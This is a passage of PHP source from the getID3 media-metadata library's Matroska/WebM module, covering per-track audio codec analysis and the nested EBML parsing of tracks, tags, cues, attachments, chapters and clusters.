							case 'A_PCM/INT/BIG':
								$track_info['bitrate'] = $track_info['sample_rate'] * $track_info['channels'] * $trackarray['BitDepth'];
								break;

							case 'A_AC3':
							case 'A_EAC3':
							case 'A_DTS':
							case 'A_MPEG/L3':
							case 'A_MPEG/L2':
							case 'A_FLAC':
								$module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat']));
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true);

								if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set');
									break;
								}

								// create temp instance
								$getid3_temp = new getID3();
								if ($track_info['dataformat'] != 'flac') {
									$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
								}
								$getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'];
								if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') {
									$getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length'];
								}

								// analyze
								$class = 'getid3_'.$module_dataformat;
								$header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat'];
								$getid3_audio = new $class($getid3_temp, __CLASS__);
								if ($track_info['dataformat'] == 'flac') {
									$getid3_audio->AnalyzeString($trackarray['CodecPrivate']);
								}
								else {
									$getid3_audio->Analyze();
								}
								if (!empty($getid3_temp->info[$header_data_key])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $sub_key => $value) {
											$track_info[$sub_key] = $value;
										}
									}
								}
								else {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']);
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								unset($getid3_temp, $getid3_audio);
								break;

							case 'A_AAC':
							case 'A_AAC/MPEG2/LC':
							case 'A_AAC/MPEG2/LC/SBR':
							case 'A_AAC/MPEG4/LC':
							case 'A_AAC/MPEG4/LC/SBR':
								$this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated');
								break;

							case 'A_VORBIS':
								if (!isset($trackarray['CodecPrivate'])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set');
									break;
								}
								$vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1);
								if ($vorbis_offset === false) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword');
									break;
								}
								$vorbis_offset -= 1;

								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

								// create temp instance
								$getid3_temp = new getID3();

								// analyze
								$getid3_ogg = new getid3_ogg($getid3_temp);
								$oggpageinfo['page_seqno'] = 0;
								$getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo);
								if (!empty($getid3_temp->info['ogg'])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg'];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $sub_key => $value) {
											$track_info[$sub_key] = $value;
										}
									}
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}

								if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) {
									$track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal'];
								}
								unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset);
								break;

							case 'A_MS/ACM':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']);
								foreach ($parsed as $sub_key => $value) {
									if ($sub_key != 'raw') {
										$track_info[$sub_key] = $value;
									}
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							default:
								$this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"');
								break;
						}

						$info['audio']['streams'][$trackarray['TrackUID']] = $track_info;
						break;
				}
			}

			if (!empty($info['video']['streams'])) {
				$info['video'] = self::getDefaultStreamInfo($info['video']['streams']);
			}
			if (!empty($info['audio']['streams'])) {
				$info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']);
			}
		}

		// process attachments
		if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) {
			foreach ($info['matroska']['attachments'] as $i => $entry) {
				if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) {
					$info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']);
				}
			}
		}

		// determine mime type
		if (!empty($info['video']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska');
		} elseif (!empty($info['audio']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska');
		} elseif (isset($info['mime_type'])) {
			unset($info['mime_type']);
		}

		// use _STATISTICS_TAGS if available to set audio/video bitrates
		if (!empty($info['matroska']['tags'])) {
			$_STATISTICS_byTrackUID = array();
			foreach ($info['matroska']['tags'] as $key1 => $value1) {
				if (!empty($value1['Targets']['TagTrackUID'][0]) && !empty($value1['SimpleTag'])) {
					foreach ($value1['SimpleTag'] as $key2 => $value2) {
						if (!empty($value2['TagName']) && isset($value2['TagString'])) {
							$_STATISTICS_byTrackUID[$value1['Targets']['TagTrackUID'][0]][$value2['TagName']] = $value2['TagString'];
						}
					}
				}
			}
			foreach (array('audio','video') as $avtype) {
				if (!empty($info[$avtype]['streams'])) {
					foreach ($info[$avtype]['streams'] as $trackUID => $trackdata) {
						if (!isset($trackdata['bitrate']) && !empty($_STATISTICS_byTrackUID[$trackUID]['BPS'])) {
							$info[$avtype]['streams'][$trackUID]['bitrate'] = (int) $_STATISTICS_byTrackUID[$trackUID]['BPS'];
							@$info[$avtype]['bitrate'] += $info[$avtype]['streams'][$trackUID]['bitrate'];
						}
					}
				}
			}
		}

		return true;
	}

	/**
	 * @param array $info
	 */
	private function parseEBML(&$info) {
		// http://www.matroska.org/technical/specs/index.html#EBMLBasics
		$this->current_offset = $info['avdataoffset'];

		while ($this->getEBMLelement($top_element, $info['avdataend'])) {
			switch ($top_element['id']) {

				case EBML_ID_EBML:
					$info['matroska']['header']['offset'] = $top_element['offset'];
					$info['matroska']['header']['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'], true)) {
						switch ($element_data['id']) {

							case EBML_ID_EBMLVERSION:
							case EBML_ID_EBMLREADVERSION:
							case EBML_ID_EBMLMAXIDLENGTH:
							case EBML_ID_EBMLMAXSIZELENGTH:
							case EBML_ID_DOCTYPEVERSION:
							case EBML_ID_DOCTYPEREADVERSION:
								$element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']);
								break;

							case EBML_ID_DOCTYPE:
								$element_data['data'] = getid3_lib::trimNullByte($element_data['data']);
								$info['matroska']['doctype'] = $element_data['data'];
								$info['fileformat'] = $element_data['data'];
								break;

							default:
								$this->unhandledElement('header', __LINE__, $element_data);
								break;
						}

						unset($element_data['offset'], $element_data['end']);
						$info['matroska']['header']['elements'][] = $element_data;
					}
					break;

				case EBML_ID_SEGMENT:
					$info['matroska']['segment'][0]['offset'] = $top_element['offset'];
					$info['matroska']['segment'][0]['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'])) {
						if ($element_data['id'] != EBML_ID_CLUSTER || !$this->hide_clusters) { // collect clusters only if required
							$info['matroska']['segments'][] = $element_data;
						}
						switch ($element_data['id']) {

							case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements.

								while ($this->getEBMLelement($seek_entry, $element_data['end'])) {
									switch ($seek_entry['id']) {

										case EBML_ID_SEEK: // Contains a single seek entry to an EBML element
											while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) {

												switch ($sub_seek_entry['id']) {

													case EBML_ID_SEEKID:
														$seek_entry['target_id']   = self::EBML2Int($sub_seek_entry['data']);
														$seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']);
														break;

													case EBML_ID_SEEKPOSITION:
														$seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']);
														break;

													default:
														$this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry);												}
														break;
											}
											if (!isset($seek_entry['target_id'])) {
												$this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']);
												break;
											}
											if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !$this->hide_clusters) { // collect clusters only if required
												$info['matroska']['seek'][] = $seek_entry;
											}
											break;

										default:
											$this->unhandledElement('seekhead', __LINE__, $seek_entry);
											break;
									}
								}
								break;

							case EBML_ID_TRACKS: // A top-level block of information with many tracks described.
								$info['matroska']['tracks'] = $element_data;

								while ($this->getEBMLelement($track_entry, $element_data['end'])) {
									switch ($track_entry['id']) {

										case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements.

											while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) {
												switch ($subelement['id']) {

													case EBML_ID_TRACKUID:
														$track_entry[$subelement['id_name']] = getid3_lib::PrintHexBytes($subelement['data'], true, false);
														break;
													case EBML_ID_TRACKNUMBER:
													case EBML_ID_TRACKTYPE:
													case EBML_ID_MINCACHE:
													case EBML_ID_MAXCACHE:
													case EBML_ID_MAXBLOCKADDITIONID:
													case EBML_ID_DEFAULTDURATION: // nanoseconds per frame
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_TRACKTIMECODESCALE:
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
														break;

													case EBML_ID_CODECID:
													case EBML_ID_LANGUAGE:
													case EBML_ID_NAME:
													case EBML_ID_CODECNAME:
														$track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
														break;

													case EBML_ID_CODECPRIVATE:
														$track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true);
														break;

													case EBML_ID_FLAGENABLED:
													case EBML_ID_FLAGDEFAULT:
													case EBML_ID_FLAGFORCED:
													case EBML_ID_FLAGLACING:
													case EBML_ID_CODECDECODEALL:
														$track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_VIDEO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_PIXELWIDTH:
																case EBML_ID_PIXELHEIGHT:
																case EBML_ID_PIXELCROPBOTTOM:
																case EBML_ID_PIXELCROPTOP:
																case EBML_ID_PIXELCROPLEFT:
																case EBML_ID_PIXELCROPRIGHT:
																case EBML_ID_DISPLAYWIDTH:
																case EBML_ID_DISPLAYHEIGHT:
																case EBML_ID_DISPLAYUNIT:
																case EBML_ID_ASPECTRATIOTYPE:
																case EBML_ID_STEREOMODE:
																case EBML_ID_OLDSTEREOMODE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_FLAGINTERLACED:
																	$track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_GAMMAVALUE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_COLOURSPACE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.video', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_AUDIO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CHANNELS:
																case EBML_ID_BITDEPTH:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_SAMPLINGFREQUENCY:
																case EBML_ID_OUTPUTSAMPLINGFREQUENCY:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_CHANNELPOSITIONS:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.audio', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_CONTENTENCODINGS:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'])) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CONTENTENCODING:

																	while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) {
																		switch ($sub_sub_subelement['id']) {

																			case EBML_ID_CONTENTENCODINGORDER:
																			case EBML_ID_CONTENTENCODINGSCOPE:
																			case EBML_ID_CONTENTENCODINGTYPE:
																				$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																				break;

																			case EBML_ID_CONTENTCOMPRESSION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTCOMPALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTCOMPSETTINGS:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			case EBML_ID_CONTENTENCRYPTION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTENCALGO:
																						case EBML_ID_CONTENTSIGALGO:
																						case EBML_ID_CONTENTSIGHASHALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTENCKEYID:
																						case EBML_ID_CONTENTSIGNATURE:
																						case EBML_ID_CONTENTSIGKEYID:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			default:
																				$this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement);
																				break;
																		}
																	}
																	break;

																default:
																	$this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													default:
														$this->unhandledElement('track', __LINE__, $subelement);
														break;
												}
											}

											$info['matroska']['tracks']['tracks'][] = $track_entry;
											break;

										default:
											$this->unhandledElement('tracks', __LINE__, $track_entry);
											break;
									}
								}
								break;

							case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file.
								$info_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], true)) {
									switch ($subelement['id']) {

										case EBML_ID_TIMECODESCALE:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_DURATION:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
											break;

										case EBML_ID_DATEUTC:
											$info_entry[$subelement['id_name']]         = getid3_lib::BigEndian2Int($subelement['data']);
											$info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]);
											break;

										case EBML_ID_SEGMENTUID:
										case EBML_ID_PREVUID:
										case EBML_ID_NEXTUID:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFAMILY:
											$info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFILENAME:
										case EBML_ID_PREVFILENAME:
										case EBML_ID_NEXTFILENAME:
										case EBML_ID_TITLE:
										case EBML_ID_MUXINGAPP:
										case EBML_ID_WRITINGAPP:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											$info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']];
											break;

										case EBML_ID_CHAPTERTRANSLATE:
											$chaptertranslate_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CHAPTERTRANSLATEEDITIONUID:
														$chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATECODEC:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATEID:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement);
														break;
												}
											}
											$info_entry[$subelement['id_name']] = $chaptertranslate_entry;
											break;

										default:
											$this->unhandledElement('info', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['info'][] = $info_entry;
								break;

							case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams.
								if ($this->hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway
									$this->current_offset = $element_data['end'];
									break;
								}
								$cues_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_CUEPOINT:
											$cuepoint_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CUETRACKPOSITIONS:
														$cuetrackpositions_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CUETRACK:
																case EBML_ID_CUECLUSTERPOSITION:
																case EBML_ID_CUEBLOCKNUMBER:
																case EBML_ID_CUECODECSTATE:
																	$cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry;
														break;

													case EBML_ID_CUETIME:
														$cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement);
														break;
												}
											}
											$cues_entry[] = $cuepoint_entry;
											break;

										default:
											$this->unhandledElement('cues', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['cues'] = $cues_entry;
								break;

							case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters.
								$tags_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], false)) {
									switch ($subelement['id']) {

										case EBML_ID_TAG:
											$tag_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_TARGETS:
														$targets_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_TARGETTYPEVALUE:
																	$targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	$targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]);
																	break;

																case EBML_ID_TARGETTYPE:
																	$targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_TAGTRACKUID:
																case EBML_ID_TAGEDITIONUID:
																case EBML_ID_TAGCHAPTERUID:
																case EBML_ID_TAGATTACHMENTUID:
																	$targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::PrintHexBytes($sub_sub_subelement['data'], true, false);
																	break;

																default:
																	$this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$tag_entry[$sub_subelement['id_name']] = $targets_entry;
														break;

													case EBML_ID_SIMPLETAG:
														$tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']);
														break;

													default:
														$this->unhandledElement('tags.tag', __LINE__, $sub_subelement);
														break;
												}
											}
											$tags_entry[] = $tag_entry;
											break;

										default:
											$this->unhandledElement('tags', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['tags'] = $tags_entry;
								break;

							case EBML_ID_ATTACHMENTS: // Contain attached files.

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_ATTACHEDFILE:
											$attachedfile_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_FILEDESCRIPTION:
													case EBML_ID_FILENAME:
													case EBML_ID_FILEMIMETYPE:
														$attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data'];
														break;

													case EBML_ID_FILEDATA:
														$attachedfile_entry['data_offset'] = $this->current_offset;
														$attachedfile_entry['data_length'] = $sub_subelement['length'];

														$attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment(
															$attachedfile_entry['FileName'],
															$attachedfile_entry['data_offset'],
															$attachedfile_entry['data_length']);

														$this->current_offset = $sub_subelement['end'];
														break;

													case EBML_ID_FILEUID:
														$attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['attachments'][] = $attachedfile_entry;
											break;

										default:
											$this->unhandledElement('attachments', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CHAPTERS:

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_EDITIONENTRY:
											$editionentry_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_EDITIONUID:
														$editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_EDITIONFLAGHIDDEN:
													case EBML_ID_EDITIONFLAGDEFAULT:
													case EBML_ID_EDITIONFLAGORDERED:
														$editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERATOM:
														$chapteratom_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CHAPTERSEGMENTUID:
																case EBML_ID_CHAPTERSEGMENTEDITIONUID:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_CHAPTERFLAGENABLED:
																case EBML_ID_CHAPTERFLAGHIDDEN:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERUID:
																case EBML_ID_CHAPTERTIMESTART:
																case EBML_ID_CHAPTERTIMEEND:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERTRACK:
																	$chaptertrack_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPTERTRACKNUMBER:
																				$chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry;
																	break;

																case EBML_ID_CHAPTERDISPLAY:
																	$chapterdisplay_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPSTRING:
																			case EBML_ID_CHAPLANGUAGE:
																			case EBML_ID_CHAPCOUNTRY:
																				$chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry;
																	break;

																default:
																	$this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry;
														break;

													default:
														$this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['chapters'][] = $editionentry_entry;
											break;

										default:
											$this->unhandledElement('chapters', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure.
								$cluster_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) {
									switch ($subelement['id']) {

										case EBML_ID_CLUSTERTIMECODE:
										case EBML_ID_CLUSTERPOSITION:
										case EBML_ID_CLUSTERPREVSIZE:
											$cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_CLUSTERSILENTTRACKS:
											$cluster_silent_tracks = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERSILENTTRACKNUMBER:
														$cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks;
											break;

										case EBML_ID_CLUSTERBLOCKGROUP:
											$cluster_block_group = array('offset' => $this->current_offset);

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERBLOCK:
														$cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info);
														break;

													case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int
													case EBML_ID_CLUSTERBLOCKDURATION:     // unsigned-int
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CLUSTERREFERENCEBLOCK:    // signed-int
														$cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true);
														break;

													case EBML_ID_CLUSTERCODECSTATE:
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement);
														break;
												}
											}
